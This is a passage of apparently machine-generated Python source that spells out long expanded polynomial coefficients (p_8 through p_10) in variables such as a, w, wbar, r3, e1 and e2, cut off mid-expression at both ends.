3 * a ** 5 * w * wbar ** 2 * e1 + 3 * a ** 5 * w * wbar ** 2 * e2 + 2 * a ** 5 * w * wbar * r3bar * e1 - 2 * a ** 5 * w * wbar * r3bar * e2 - 6 * a ** 5 * w * e1 * r3 ** 2 + 6 * a ** 5 * w * e2 * r3 ** 2 - 9 * a ** 5 * wbar ** 2 * e1 * r3 + 9 * a ** 5 * wbar ** 2 * e2 * r3 + 6 * a ** 5 * wbar * r3bar * e1 * r3 - 6 * a ** 5 * wbar * r3bar * e2 * r3 - 6 * a ** 5 * wbar * e1 ** 2 - 9 * a ** 5 * wbar * e1 * r3 ** 2 + 4 * a ** 5 * wbar * e1 + 6 * a ** 5 * wbar * e2 ** 2 + 9 * a ** 5 * wbar * e2 * r3 ** 2 - 4 * a ** 5 * wbar * e2 + 3 * a ** 5 * r3bar * e1 ** 2 + 9 * a ** 5 * r3bar * e1 * r3 ** 2 - 2 * a ** 5 * r3bar * e1 - 3 * a ** 5 * r3bar * e2 ** 2 - 9 * a ** 5 * r3bar * e2 * r3 ** 2 + 2 * a ** 5 * r3bar * e2 - 3 * a ** 5 * e1 ** 2 * r3 - 2 * a ** 5 * e1 * r3 ** 3 + 6 * a ** 5 * e1 * r3 + 3 * a ** 5 * e2 ** 2 * r3 + 2 * a ** 5 * e2 * r3 ** 3 - 6 * a ** 5 * e2 * r3 - 9 * a ** 4 * w * wbar ** 3 * r3 ** 2 + 9 * a ** 4 * w * wbar ** 2 * r3bar * r3 ** 2 - 9 * a ** 4 * w * wbar ** 2 * e1 * r3 - 9 * a ** 4 * w * wbar ** 2 * e2 * r3 + 18 * a ** 4 * w * wbar ** 2 * r3 + 6 * a ** 4 * w * wbar * r3bar * e1 * r3 + 6 * a ** 4 * w * wbar * r3bar * e2 * r3 - 12 * a ** 4 * w * wbar * r3bar * r3 - 12 * a ** 4 * w * wbar * e1 * e2 + 12 * a ** 4 * w * wbar * e1 + 12 * a ** 4 * w * wbar * e2 - 9 * a ** 4 * w * wbar + 4 * a ** 4 * w * r3bar * e1 * e2 - 4 * a ** 4 * w * r3bar * e1 - 4 * a ** 4 * w * r3bar * e2 + 3 * a ** 4 * w * r3bar + 2 * a ** 4 * w * e1 * r3 ** 3 + 2 * a ** 4 * w * e2 * r3 ** 3 - 3 * a ** 4 * wbar ** 3 * r3 ** 3 + 3 * a ** 4 * wbar ** 2 * r3bar * r3 ** 3 + 9 * a ** 4 * wbar * r3bar * e1 * r3 ** 2 + 9 * a ** 4 * wbar * r3bar * e2 * r3 ** 2 - 6 * a ** 4 * wbar * r3bar * r3 ** 2 + 12 * a ** 4 * wbar * e1 ** 2 * r3 - 12 * a ** 4 * wbar * e1 * e2 * r3 + 12 * a ** 4 * wbar * e2 ** 2 * r3 + 3 * a ** 4 * wbar * r3 - a ** 4 * r3bar * e1 ** 2 * r3 + 10 * a ** 4 * r3bar * e1 * e2 * r3 - 8 * a ** 4 * r3bar * e1 * r3 - a ** 4 * r3bar * e2 ** 2 * r3 - 8 * a ** 4 * r3bar * e2 * r3 + 3 * a ** 4 * r3bar * r3 + 3 * a ** 4 * e1 ** 3 - 3 * a ** 4 * e1 ** 2 * e2 + 6 * a ** 4 * e1 ** 2 * r3 ** 2 - 3 * a ** 4 * e1 * e2 ** 2 - 12 * a ** 4 * e1 * e2 * r3 ** 2 + 8 * a ** 4 * e1 * e2 - 2 * a ** 4 * e1 + 3 * a ** 4 * e2 ** 3 + 6 * a ** 4 * e2 ** 2 * r3 ** 2 - 2 * a ** 4 * e2 + 18 * a ** 3 * w * wbar ** 2 * e1 * r3 ** 2 - 18 * a ** 3 * w * wbar ** 2 * e2 * r3 ** 2 - 12 * a ** 3 * w * wbar * r3bar * e1 * r3 ** 2 + 12 * a ** 3 * w * wbar * r3bar * e2 * r3 ** 2 + 6 * a ** 3 * w * wbar * e1 ** 2 * r3 - 24 * a ** 3 * w * wbar * e1 * r3 - 6 * a ** 3 * w * wbar * e2 ** 2 * r3 + 24 * a ** 3 * w * wbar * e2 * r3 - 2 * a ** 3 * w * r3bar * e1 ** 2 * r3 + 8 * a ** 3 * w * r3bar * e1 * r3 + 2 * a ** 3 * w * r3bar * e2 ** 2 * r3 - 8 * a ** 3 * w * r3bar * e2 * r3 - a ** 3 * w * e1 ** 3 + 3 * a ** 3 * w * e1 ** 2 * e2 - 6 * a ** 3 * w * e1 ** 2 - 3 * a ** 3 * w * e1 * e2 ** 2 + 6 * a ** 3 * w * e1 + a ** 3 * w * e2 ** 3 + 6 * a ** 3 * w * e2 ** 2 - 6 * a ** 3 * w * e2 + 6 * a ** 3 * wbar ** 2 * e1 * r3 ** 3 - 6 * a ** 3 * wbar ** 2 * e2 * r3 ** 3 - 4 * a ** 3 * wbar * r3bar * e1 * r3 ** 3 + 4 * a ** 3 * wbar * r3bar * e2 * r3 ** 3 - 6 * a ** 3 * wbar * e1 ** 2 * r3 ** 2 + 6 * a ** 3 * wbar * e2 ** 2 * r3 ** 2 - 4 * a ** 3 * r3bar * e1 ** 2 * r3 ** 2 + 4 * a ** 3 * r3bar * e1 * r3 ** 2 + 4 * a ** 3 * r3bar * e2 ** 2 * r3 ** 2 - 4 * a ** 3 * r3bar * e2 * r3 ** 2 - 9 * a ** 3 * e1 ** 3 * r3 + 3 * a ** 3 * e1 ** 2 * e2 * r3 - 2 * a ** 3 * e1 ** 2 * r3 ** 3 + 2 * a ** 3 * e1 ** 2 * r3 - 3 * a ** 3 * e1 * e2 ** 2 * r3 - 2 * a ** 3 * e1 * r3 + 9 * a ** 3 * e2 ** 3 * r3 + 2 * a ** 3 * e2 ** 2 * r3 ** 3 - 2 * a ** 3 * e2 ** 2 * r3 + 2 * a ** 3 * e2 * r3 - 6 * a ** 2 * w * wbar ** 2 * e1 * r3 ** 3 - 6 * a ** 2 * w * wbar ** 2 * e2 * r3 ** 3 + 4 * a ** 2 * w * wbar * r3bar * e1 * r3 ** 3 + 4 * a ** 2 * w * wbar * r3bar * e2 * r3 ** 3 - 12 * a ** 2 * w * wbar * e1 ** 2 * r3 ** 2 + 12 * a ** 2 * w * wbar * e1 * e2 * r3 ** 2 + 12 * a ** 2 * w * wbar * e1 * r3 ** 2 - 12 * a ** 2 * w * wbar * e2 ** 2 * r3 ** 2 + 12 * a ** 2 * w * wbar * e2 * r3 ** 2 + 4 * a ** 2 * w * r3bar * e1 ** 2 * r3 ** 2 - 4 * a ** 2 * w * r3bar * e1 * e2 * r3 ** 2 - 4 * a ** 2 * w * r3bar * e1 * r3 ** 2 + 4 * a ** 2 * w * r3bar * e2 ** 2 * r3 ** 2 - 4 * a ** 2 * w * r3bar * e2 * r3 ** 2 + 3 * a ** 2 * w * e1 ** 3 * r3 - 3 * a ** 2 * w * e1 ** 2 * e2 * r3 + 12 * a ** 2 * w * e1 ** 2 * r3 - 3 * a ** 2 * w * e1 * e2 ** 2 * r3 - 6 * a ** 2 * w * e1 * r3 + 3 * a ** 2 * w * e2 ** 3 * r3 + 12 * a ** 2 * w * e2 ** 2 * r3 - 6 * a ** 2 * w * e2 * r3 + 12 * a ** 2 * wbar * e1 * e2 * r3 ** 3 - 4 * a ** 2 * wbar * e1 * r3 ** 3 - 4 * a ** 2 * wbar * e2 * r3 ** 3 + 2 * a ** 2 * r3bar * e1 ** 2 * r3 ** 3 + 2 * a ** 2 * r3bar * e2 ** 2 * r3 ** 3 + 9 * a ** 2 * e1 ** 3 * r3 ** 2 + 3 * a ** 2 * e1 ** 2 * e2 * r3 ** 2 - 4 * a ** 2 * e1 ** 2 * r3 ** 2 + 3 * a ** 2 * e1 * e2 ** 2 * r3 ** 2 - 8 * a ** 2 * e1 * e2 * r3 ** 2 + 4 * a ** 2 * e1 * r3 ** 2 + 9 * a ** 2 * e2 ** 3 * r3 ** 2 - 4 * a ** 2 * e2 ** 2 * r3 ** 2 + 4 * a ** 2 * e2 * r3 ** 2 + 6 * a * w * wbar * e1 ** 2 * r3 ** 3 - 6 * a * w * wbar * e2 ** 2 * r3 ** 3 - 2 * a * w * r3bar * e1 ** 2 * r3 ** 3 + 2 * a * w * r3bar * e2 ** 2 * r3 ** 3 - 3 * a * w * e1 ** 3 * r3 ** 2 - 3 * a * w * e1 ** 2 * e2 * r3 ** 2 - 6 * a * w * e1 ** 2 * r3 ** 2 + 3 * a * w * e1 * e2 ** 2 * r3 ** 2 + 3 * a * w * e2 ** 3 * r3 ** 2 + 6 * a * w * e2 ** 2 * r3 ** 2 - 3 * a * e1 ** 3 * r3 ** 3 - 3 * a * e1 ** 2 * e2 * r3 ** 3 + 2 * a * e1 ** 2 * r3 ** 3 + 3 * a * e1 * e2 ** 2 * r3 ** 3 + 3 * a * e2 ** 3 * r3 ** 3 - 2 * a * e2 ** 2 * r3 ** 3 + w * e1 ** 3 * r3 ** 3 + 3 * w * e1 ** 2 * e2 * r3 ** 3 + 3 * w * e1 * e2 ** 2 * r3 ** 3 + w * e2 ** 3 * r3 ** 3 ) p_8 = ( 3 * a ** 8 * w * wbar * r3 - 3 * a ** 8 * w * r3bar * r3 + a ** 8 * w * e1 + a ** 8 * w * e2 - a ** 8 * w + 3 * a ** 8 * wbar * r3 ** 2 - 3 * a ** 8 * r3bar * r3 ** 2 - a ** 8 * e1 * r3 - a ** 8 * e2 * r3 + a ** 8 * r3 - 3 * a ** 7 * w * e1 * r3 + 3 * a ** 7 * w * e2 * r3 - 3 * a ** 7 * wbar * e1 * r3 + 3 * a ** 7 * wbar * e2 * r3 + 3 * a ** 7 * r3bar * e1 * r3 - 3 * a ** 7 * r3bar * e2 * r3 - a ** 7 * e1 ** 2 - 3 * a ** 7 * e1 * r3 ** 2 + a ** 7 * e1 + a ** 7 * e2 ** 2 + 3 * a ** 7 * e2 * r3 ** 2 - a ** 7 * e2 - 3 * a ** 6 * w * wbar ** 3 * r3 + 3 * a ** 6 * w * wbar ** 2 * r3bar * r3 - 3 * a ** 6 * w * wbar ** 2 * e1 - 3 * a ** 6 * w * wbar ** 2 * e2 + 3 * a ** 6 * w * wbar ** 2 + 2 * a ** 6 * w * wbar * r3bar * e1 + 2 * a ** 6 * w * wbar * r3bar * e2 - 2 * a ** 6 * w * wbar * r3bar - 3 * a ** 6 * w * wbar * r3 ** 3 + 3 * a ** 6 * w * r3bar * r3 ** 3 + 3 * a ** 6 * w * r3 ** 2 - 3 * a ** 6 * wbar ** 3 * r3 ** 2 + 3 * a ** 6 * wbar ** 2 * r3bar * r3 ** 2 - 6 * a ** 6 * wbar ** 2 * e1 * r3 - 6 * a ** 6 * wbar ** 2 * e2 * r3 + 3 * a ** 6 * wbar ** 2 * r3 + 7 * a ** 6 * wbar * r3bar * e1 * r3 + 7 * a ** 6 * wbar * r3bar * e2 * r3 - 4 * a ** 6 * wbar * r3bar * r3 - 3 * a ** 6 * wbar * e1 ** 2 - 6 * a ** 6 * wbar * e1 * e2 + 4 * a ** 6 * wbar * e1 - 3 * a ** 6 * wbar * e2 ** 2 + 4 * a ** 6 * wbar * e2 - a ** 6 * wbar + 2 * a ** 6 * r3bar * e1 ** 2 + 4 * a ** 6 * r3bar * e1 * e2 - 3 * a ** 6 * r3bar * e1 + 2 * a ** 6 * r3bar * e2 ** 2 - 3 * a ** 6 * r3bar * e2 + a ** 6 * r3bar + 3 * a ** 6 * e1 ** 2 * r3 - 6 * a ** 6 * e1 * e2 * r3 + 4 * a ** 6 * e1 * r3 ** 3 + 3 * a ** 6 * e2 ** 2 * r3 + 4 * a ** 6 * e2 * r3 ** 3 - 3 * a ** 6 * r3 ** 3 + 9 * a ** 5 * w * wbar ** 2 * e1 * r3 - 9 * a ** 5 * w * wbar ** 2 * e2 * r3 - 6 * a ** 5 * w * wbar * r3bar * e1 * r3 + 6 * a ** 5 * w * wbar * r3bar * e2 * r3 + 6 * a ** 5 * w * wbar * e1 ** 2 - 6 * a ** 5 * w * wbar * e1 - 6 * a ** 5 * w * wbar * e2 ** 2 + 6 * a ** 5 * w * wbar * e2 - 2 * a ** 5 * w * r3bar * e1 ** 2 + 2 * a ** 5 * w * r3bar * e1 + 2 * a ** 5 * w * r3bar * e2 ** 2 - 2 * a ** 5 * w * r3bar * e2 + 2 * a ** 5 * w * e1 * r3 ** 3 - 2 * a ** 5 * w * e2 * r3 ** 3 + 9 * a ** 5 * wbar ** 2 * e1 * r3 ** 2 - 9 * a ** 5 * wbar ** 2 * e2 * r3 ** 2 - 6 * a ** 5 * wbar * r3bar * e1 * r3 ** 2 + 6 * a ** 5 * wbar * r3bar * e2 * r3 ** 2 + 12 * a ** 5 * wbar * e1 ** 2 * r3 + 3 * a ** 5 * wbar * e1 * r3 ** 3 - 6 * a ** 5 * wbar * e1 * r3 - 12 * a ** 5 * wbar * e2 ** 2 * r3 - 3 * a ** 5 * wbar * e2 * r3 ** 3 + 6 * a ** 5 * wbar * e2 * r3 - 7 * a ** 5 * r3bar * e1 ** 2 * r3 - 3 * a ** 5 * r3bar * e1 * r3 ** 3 + 4 * a ** 5 * r3bar * e1 * r3 + 7 * a ** 5 * r3bar * e2 ** 2 * r3 + 3 * a ** 5 * r3bar * e2 * r3 ** 3 - 4 * a ** 5 * r3bar * e2 * r3 + 3 * a ** 5 * e1 ** 3 + 3 * a ** 5 * e1 ** 2 * e2 - 4 * a ** 5 * e1 ** 2 - 3 * a ** 5 * e1 * e2 ** 2 - 3 * a ** 5 * e1 * r3 ** 2 + a ** 5 * e1 - 3 * a ** 5 * e2 ** 3 + 4 * a ** 5 * e2 ** 2 + 3 * a ** 5 * e2 * r3 ** 2 - a ** 5 * e2 + 3 * a ** 4 * w * wbar ** 3 * r3 ** 3 - 3 * a ** 4 * w * wbar ** 2 * r3bar * r3 ** 3 - 9 * a ** 4 * w * wbar ** 2 * r3 ** 2 + 6 * a ** 4 * w * wbar * r3bar * r3 ** 2 - 12 * a ** 4 * w * wbar * e1 ** 2 * r3 + 12 * a ** 4 * w * wbar * e1 * e2 * r3 - 6 * a ** 4 * w * wbar * e1 * r3 - 12 * a ** 4 * w * wbar * e2 ** 2 * r3 - 6 * a ** 4 * w * wbar * e2 * r3 + 9 * a ** 4 * w * wbar * r3 + 4 * a ** 4 * w * r3bar * e1 ** 2 * r3 - 4 * a ** 4 * w * r3bar * e1 * e2 * r3 + 2 * a ** 4 * w * r3bar * e1 * r3 + 4 * a ** 4 * w * r3bar * e2 ** 2 * r3 + 2 * a ** 4 * w * r3bar * e2 * r3 - 3 * a ** 4 * w * r3bar * r3 - 3 * a ** 4 * w * e1 ** 3 + 3 * a ** 4 * w * e1 ** 2 * e2 + 3 * a ** 4 * w * e1 * e2 ** 2 - 12 * a ** 4 * w * e1 * e2 + 6 * a ** 4 * w * e1 - 3 * a ** 4 * w * e2 ** 3 + 6 * a ** 4 * w * e2 - 3 * a ** 4 * w - 3 * a ** 4 * wbar ** 2 * e1 * r3 ** 3 - 3 * a ** 4 * wbar ** 2 * e2 * r3 ** 3 + 3 * a ** 4 * wbar ** 2 * r3 ** 3 - a ** 4 * wbar * r3bar * e1 * r3 ** 3 - a ** 4 * wbar * r3bar * e2 * r3 ** 3 - 15 * a ** 4 * wbar * e1 ** 2 * r3 ** 2 + 6 * a ** 4 * wbar * e1 * e2 * r3 ** 2 + 6 * a ** 4 * wbar * e1 * r3 ** 2 - 15 * a ** 4 * wbar * e2 ** 2 * r3 ** 2 + 6 * a ** 4 * wbar * e2 * r3 ** 2 - 6 * a ** 4 * wbar * r3 ** 2 + 5 * a ** 4 * r3bar * e1 ** 2 * r3 ** 2 - 2 * a ** 4 * r3bar * e1 * e2 * r3 ** 2 + a ** 4 * r3bar * e1 * r3 ** 2 + 5 * a ** 4 * r3bar * e2 ** 2 * r3 ** 2 + a ** 4 * r3bar * e2 * r3 ** 2 - 9 * a ** 4 * e1 ** 3 * r3 - 3 * a ** 4 * e1 ** 2 * e2 * r3 - 2 * a ** 4 * e1 ** 2 * r3 ** 3 + 8 * a ** 4 * e1 ** 2 * r3 - 3 * a ** 4 * e1 * e2 ** 2 * r3 + 4 * a ** 4 * e1 * e2 * r3 ** 3 + 4 * a ** 4 * e1 * e2 * r3 - 5 * a ** 4 * e1 * r3 - 9 * a ** 4 * e2 ** 3 * r3 - 2 * a ** 4 * e2 ** 2 * r3 ** 3 + 8 * a ** 4 * e2 ** 2 * r3 - 5 * a ** 4 * e2 * r3 + 3 * a ** 4 * r3 - 6 * a ** 3 * w * wbar ** 2 * e1 * r3 ** 3 + 6 * a ** 3 * w * wbar ** 2 * e2 * r3 ** 3 + 4 * a ** 3 * w * wbar * r3bar * e1 * r3 ** 3 - 4 * a ** 3 * w * wbar * r3bar * e2 * r3 ** 3 + 6 * a ** 3 * w * wbar * e1 ** 2 * r3 ** 2 + 12 * a ** 3 * w * wbar * e1 * r3 ** 2 - 6 * a ** 3 * w * wbar * e2 ** 2 * r3 ** 2 - 12 * a ** 3 * w * wbar * e2 * r3 ** 2 - 2 * a ** 3 * w * r3bar * e1 ** 2 * r3 ** 2 - 4 * a ** 3 * w * r3bar * e1 * r3 ** 2 + 2 * a ** 3 * w * r3bar * e2 ** 2 * r3 ** 2 + 4 * a ** 3 * w * r3bar * e2 * r3 ** 2 + 9 * a ** 3 * w * e1 ** 3 * r3 - 3 * a ** 3 * w * e1 ** 2 * e2 * r3 + 3 * a ** 3 * w * e1 * e2 ** 2 * r3 - 6 * a ** 3 * w * e1 * r3 - 9 * a ** 3 * w * e2 ** 3 * r3 + 6 * a ** 3 * w * e2 * r3 + 6 * a ** 3 * wbar * e1 ** 2 * r3 ** 3 - 4 * a ** 3 * wbar * e1 * r3 ** 3 - 6 * a ** 3 * wbar * e2 ** 2 * r3 ** 3 + 4 * a ** 3 * wbar * e2 * r3 ** 3 + 9 * a ** 3 * e1 ** 3 * r3 ** 2 - 3 * a ** 3 * e1 ** 2 * e2 * r3 ** 2 - 4 * a ** 3 * e1 ** 2 * r3 ** 2 + 3 * a ** 3 * e1 * e2 ** 2 * r3 ** 2 + 4 * a ** 3 * e1 * r3 ** 2 - 9 * a ** 3 * e2 ** 3 * r3 ** 2 + 4 * a ** 3 * e2 ** 2 * r3 ** 2 - 4 * a ** 3 * e2 * r3 ** 2 - 12 * a ** 2 * w * wbar * e1 * e2 * r3 ** 3 + 4 * a ** 2 * w * r3bar * e1 * e2 * r3 ** 3 - 9 * a ** 2 * w * e1 ** 3 * r3 ** 2 - 3 * a ** 2 * w * e1 ** 2 * e2 * r3 ** 2 - 3 * a ** 2 * w * e1 * e2 ** 2 * r3 ** 2 + 12 * a ** 2 * w * e1 * e2 * r3 ** 2 - 9 * a ** 2 * w * e2 ** 3 * r3 ** 2 - 3 * a ** 2 * e1 ** 3 * r3 ** 3 + 3 * a ** 2 * e1 ** 2 * e2 * r3 ** 3 + 3 * a ** 2 * e1 * e2 ** 2 * r3 ** 3 - 4 * a ** 2 * e1 * e2 * r3 ** 3 - 3 * a ** 2 * e2 ** 3 * r3 ** 3 + 3 * a * w * e1 ** 3 * r3 ** 3 + 3 * a * w * e1 ** 2 * e2 * r3 ** 3 - 3 * a * w * e1 * e2 ** 2 * r3 ** 3 - 3 * a * w * e2 ** 3 * r3 ** 3 ) p_9 = ( -3 * a ** 8 * w * wbar * r3 ** 2 + 3 * a ** 8 * w * r3bar * r3 ** 2 - 2 * a ** 8 * w * e1 * r3 - 2 * a ** 8 * w * e2 * r3 + 2 * a ** 8 * w * r3 - a ** 8 * wbar * r3 ** 3 + a ** 8 * r3bar * r3 ** 3 + 2 * a ** 8 * e1 * r3 ** 2 + 2 * a ** 8 * e2 * r3 ** 2 - 2 * a ** 8 * r3 ** 2 + 3 * a ** 7 * w * e1 * r3 ** 2 - 3 * a ** 7 * w * e2 * r3 ** 2 + 3 * a ** 7 * wbar * e1 * r3 ** 2 - 3 * a ** 7 * wbar * e2 * r3 ** 2 - 3 * a ** 7 * r3bar * e1 * r3 ** 2 + 3 * a ** 7 * r3bar * e2 * r3 ** 2 + 2 * a ** 7 * e1 ** 2 * r3 + a ** 7 * e1 * r3 ** 3 - 2 * a ** 7 * e1 * r3 - 2 * a ** 7 * e2 ** 2 * r3 - a ** 7 * e2 * r3 ** 3 + 2 * a ** 7 * e2 * r3 + 3 * a ** 6 * w * wbar ** 3 * r3 ** 2 - 3 * a ** 6 * w * wbar ** 2 * r3bar * r3 ** 2 + 6 * a ** 6 * w * wbar ** 2 * e1 * r3 + 6 * a ** 6 * w * wbar ** 2 * e2 * r3 - 6 * a ** 6 * w * wbar ** 2 * r3 - 4 * a ** 6 * w * wbar * r3bar * e1 * r3 - 4 * a ** 6 * w * wbar * r3bar * e2 * r3 + 4 * a ** 6 * w * wbar * r3bar * r3 + 3 * a ** 6 * w * wbar * e1 ** 2 + 6 * a ** 6 * w * wbar * e1 * e2 - 6 * a ** 6 * w * wbar * e1 + 3 * a ** 6 * w * wbar * e2 ** 2 - 6 * a ** 6 * w * wbar * e2 + 3 * a ** 6 * w * wbar - a ** 6 * w * r3bar * e1 ** 2 - 2 * a ** 6 * w * r3bar * e1 * e2 + 2 * a ** 6 * w * r3bar * e1 - a ** 6 * w * r3bar * e2 ** 2 + 2 * a ** 6 * w * r3bar * e2 - a ** 6 * w * r3bar - a ** 6 * w * e1 * r3 ** 3 - a ** 6 * w * e2 * r3 ** 3 + a ** 6 * wbar ** 3 * r3 ** 3 - a ** 6 * wbar ** 2 * r3bar * r3 ** 3 + 3 * a ** 6 * wbar ** 2 * e1 * r3 ** 2 + 3 * a ** 6 * wbar ** 2 * e2 * r3 ** 2 - 5 * a ** 6 * wbar * r3bar * e1 * r3 ** 2 - 5 * a ** 6 * wbar * r3bar * e2 * r3 ** 2 + 2 * a ** 6 * wbar * r3bar * r3 ** 2 + 3 * a ** 6 * wbar * e1 ** 2 * r3 + 6 * a ** 6 * wbar * e1 * e2 * r3 - 2 * a ** 6 * wbar * e1 * r3 + 3 * a ** 6 * wbar * e2 ** 2 * r3 - 2 * a ** 6 * wbar * e2 * r3 - a ** 6 * wbar * r3 - 3 * a ** 6 * r3bar * e1 ** 2 * r3 - 6 * a ** 6 * r3bar * e1 * e2 * r3 + 4 * a ** 6 * r3bar * e1 * r3 - 3 * a ** 6 * r3bar * e2 ** 2 * r3 + 4 * a ** 6 * r3bar * e2 * r3 - a ** 6 * r3bar * r3 + a ** 6 * e1 ** 3 + 3 * a ** 6 * e1 ** 2 * e2 - 3 * a ** 6 * e1 ** 2 * r3 ** 2 - 2 * a ** 6 * e1 ** 2 + 3 * a ** 6 * e1 * e2 ** 2 + 6 * a ** 6 * e1 * e2 * r3 ** 2 - 4 * a ** 6 * e1 * e2 + a ** 6 * e1 + a ** 6 * e2 ** 3 - 3 * a ** 6 * e2 ** 2 * r3 ** 2 - 2 * a ** 6 * e2 ** 2 + a ** 6 * e2 - 9 * a ** 5 * w * wbar ** 2 * e1 * r3 ** 2 + 9 * a ** 5 * w * wbar ** 2 * e2 * r3 ** 2 + 6 * a ** 5 * w * wbar * r3bar * e1 * r3 ** 2 - 6 * a ** 5 * w * wbar * r3bar * e2 * r3 ** 2 - 12 * a ** 5 * w * wbar * e1 ** 2 * r3 + 12 * a ** 5 * w * wbar * e1 * r3 + 12 * a ** 5 * w * wbar * e2 ** 2 * r3 - 12 * a ** 5 * w * wbar * e2 * r3 + 4 * a ** 5 * w * r3bar * e1 ** 2 * r3 - 4 * a ** 5 * w * r3bar * e1 * r3 - 4 * a ** 5 * w * r3bar * e2 ** 2 * r3 + 4 * a ** 5 * w * r3bar * e2 * r3 - 3 * a ** 5 * w * e1 ** 3 - 3 * a ** 5 * w * e1 ** 2 * e2 + 6 * a ** 5 * w * e1 ** 2 + 3 * a ** 5 * w * e1 * e2 ** 2 - 3 * a ** 5 * w * e1 + 3 * a ** 5 * w * e2 ** 3 - 6 * a ** 5 * w * e2 ** 2 + 3 * a ** 5 * w * e2 - 3 * a ** 5 * wbar ** 2 * e1 * r3 ** 3 + 3 * a ** 5 * wbar ** 2 * e2 * r3 ** 3 + 2 * a ** 5 * wbar * r3bar * e1 * r3 ** 3 - 2 * a ** 5 * wbar * r3bar * e2 * r3 ** 3 - 6 * a ** 5 * wbar * e1 ** 2 * r3 ** 2 + 6 * a ** 5 * wbar * e2 ** 2 * r3 ** 2 + 5 * a ** 5 * r3bar * e1 ** 2 * r3 ** 2 - 2 * a ** 5 * r3bar * e1 * r3 ** 2 - 5 * a ** 5 * r3bar * e2 ** 2 * r3 ** 2 + 2 * a ** 5 * r3bar * e2 * r3 ** 2 - 3 * a ** 5 * e1 ** 3 * r3 - 3 * a ** 5 * e1 ** 2 * e2 * r3 + a ** 5 * e1 ** 2 * r3 ** 3 + 2 * a ** 5 * e1 ** 2 * r3 + 3 * a ** 5 * e1 * e2 ** 2 * r3 + a ** 5 * e1 * r3 + 3 * a ** 5 * e2 ** 3 * r3 - a ** 5 * e2 ** 2 * r3 ** 3 - 2 * a ** 5 * e2 ** 2 * r3 - a ** 5 * e2 * r3 + 3 * a ** 4 * w * wbar ** 2 * e1 * r3 ** 3 + 3 * a ** 4 * w * wbar ** 2 * e2 * r3 ** 3 - 2 * a ** 4 * w * wbar * r3bar * e1 * r3 ** 3 - 2 * a ** 4 * w * wbar * r3bar * e2 * r3 ** 3 + 15 * a ** 4 * w * wbar * e1 ** 2 * r3 ** 2 - 6 * a ** 4 * w * wbar * e1 * e2 * r3 ** 2 - 6 * a ** 4 * w * wbar * e1 * r3 ** 2 + 15 * a ** 4 * w * wbar * e2 ** 2 * r3 ** 2 - 6 * a ** 4 * w * wbar * e2 * r3 ** 2 - 5 * a ** 4 * w * r3bar * e1 ** 2 * r3 ** 2 + 2 * a ** 4 * w * r3bar * e1 * e2 * r3 ** 2 + 2 * a ** 4 * w * r3bar * e1 * r3 ** 2 - 5 * a ** 4 * w * r3bar * e2 ** 2 * r3 ** 2 + 2 * a ** 4 * w * r3bar * e2 * r3 ** 2 + 9 * a ** 4 * w * e1 ** 3 * r3 + 3 * a ** 4 * w * e1 ** 2 * e2 * r3 - 12 * a ** 4 * w * e1 ** 2 * r3 + 3 * a ** 4 * w * e1 * e2 ** 2 * r3 + 3 * a ** 4 * w * e1 * r3 + 9 * a ** 4 * w * e2 ** 3 * r3 - 12 * a ** 4 * w * e2 ** 2 * r3 + 3 * a ** 4 * w * e2 * r3 + 3 * a ** 4 * wbar * e1 ** 2 * r3 ** 3 - 6 * a ** 4 * wbar * e1 * e2 * r3 ** 3 + 2 * a ** 4 * wbar * e1 * r3 ** 3 + 3 * a ** 4 * wbar * e2 ** 2 * r3 ** 3 + 2 * a ** 4 * wbar * e2 * r3 ** 3 - 2 * a ** 4 * r3bar * e1 ** 2 * r3 ** 3 - 2 * a ** 4 * r3bar * e2 ** 2 * r3 ** 3 + 3 * a ** 4 * e1 ** 3 * r3 ** 2 - 3 * a ** 4 * e1 ** 2 * e2 * r3 ** 2 + 2 * a ** 4 * e1 ** 2 * r3 ** 2 - 3 * a ** 4 * e1 * e2 ** 2 * r3 ** 2 + 4 * a ** 4 * e1 * e2 * r3 ** 2 - 2 * a ** 4 * e1 * r3 ** 2 + 3 * a ** 4 * e2 ** 3 * r3 ** 2 + 2 * a ** 4 * e2 ** 2 * r3 ** 2 - 2 * a ** 4 * e2 * r3 ** 2 - 6 * a ** 3 * w * wbar * e1 ** 2 * r3 ** 3 + 6 * a ** 3 * w * wbar * e2 ** 2 * r3 ** 3 + 2 * a ** 3 * w * r3bar * e1 ** 2 * r3 ** 3 - 2 * a ** 3 * w * r3bar * e2 ** 2 * r3 ** 3 - 9 * a ** 3 * w * e1 ** 3 * r3 ** 2 + 3 * a ** 3 * w * e1 ** 2 * e2 * r3 ** 2 + 6 * a ** 3 * w * e1 ** 2 * r3 ** 2 - 3 * a ** 3 * w * e1 * e2 ** 2 * r3 ** 2 + 9 * a ** 3 * w * e2 ** 3 * r3 ** 2 - 6 * a ** 3 * w * e2 ** 2 * r3 ** 2 - a ** 3 * e1 ** 3 * r3 ** 3 + 3 * a ** 3 * e1 ** 2 * e2 * r3 ** 3 - 2 * a ** 3 * e1 ** 2 * r3 ** 3 - 3 * a ** 3 * e1 * e2 ** 2 * r3 ** 3 + a ** 3 * e2 ** 3 * r3 ** 3 + 2 * a ** 3 * e2 ** 2 * r3 ** 3 + 3 * a ** 2 * w * e1 ** 3 * r3 ** 3 - 3 * a ** 2 * w * e1 ** 2 * e2 * r3 ** 3 - 3 * a ** 2 * w * e1 * e2 ** 2 * r3 ** 3 + 3 * a ** 2 * w * e2 ** 3 * r3 ** 3 ) p_10 = ( a ** 8 * w * wbar * r3 ** 3 - a ** 8 * w * r3bar * r3 ** 3 + a ** 8 * w * e1 * r3 ** 2 + a ** 8 * w * e2 * r3 ** 2 - a ** 8 * w * r3 ** 2 - a ** 8 * e1 * r3 ** 3 - a ** 8 * e2 * r3 ** 3 + a ** 8 * r3 ** 3 - a ** 7 * w * e1 * r3 ** 3 + a ** 7 * w * e2 * r3 ** 3 - a ** 7 * wbar * e1 * r3 ** 3 + a ** 7 * wbar * e2 * r3 ** 3 + a ** 7 * r3bar * e1 * r3 ** 3 - a ** 7 * r3bar * e2 * r3 ** 3 - a ** 7 * e1 ** 2 * r3 ** 2 + a ** 7 * e1 * r3 ** 2 + a ** 7 * e2 ** 2 * r3 ** 2 - a ** 7 * e2 * r3 ** 2 - a ** 6 * w * wbar ** 3 * r3 ** 3 + a ** 6 * w * wbar ** 2 * r3bar * r3 ** 3 - 3 * a ** 6 * w * wbar ** 2 * e1 * r3 ** 2 - 3 * a ** 6 * w * wbar ** 2 * e2 * r3 ** 2 + 3 * a ** 6 * w * wbar ** 2 * r3 ** 2 + 2 * a ** 6 * w * wbar * r3bar * e1 * r3 ** 2 + 2 * a ** 6 * w * wbar * r3bar * e2 * r3 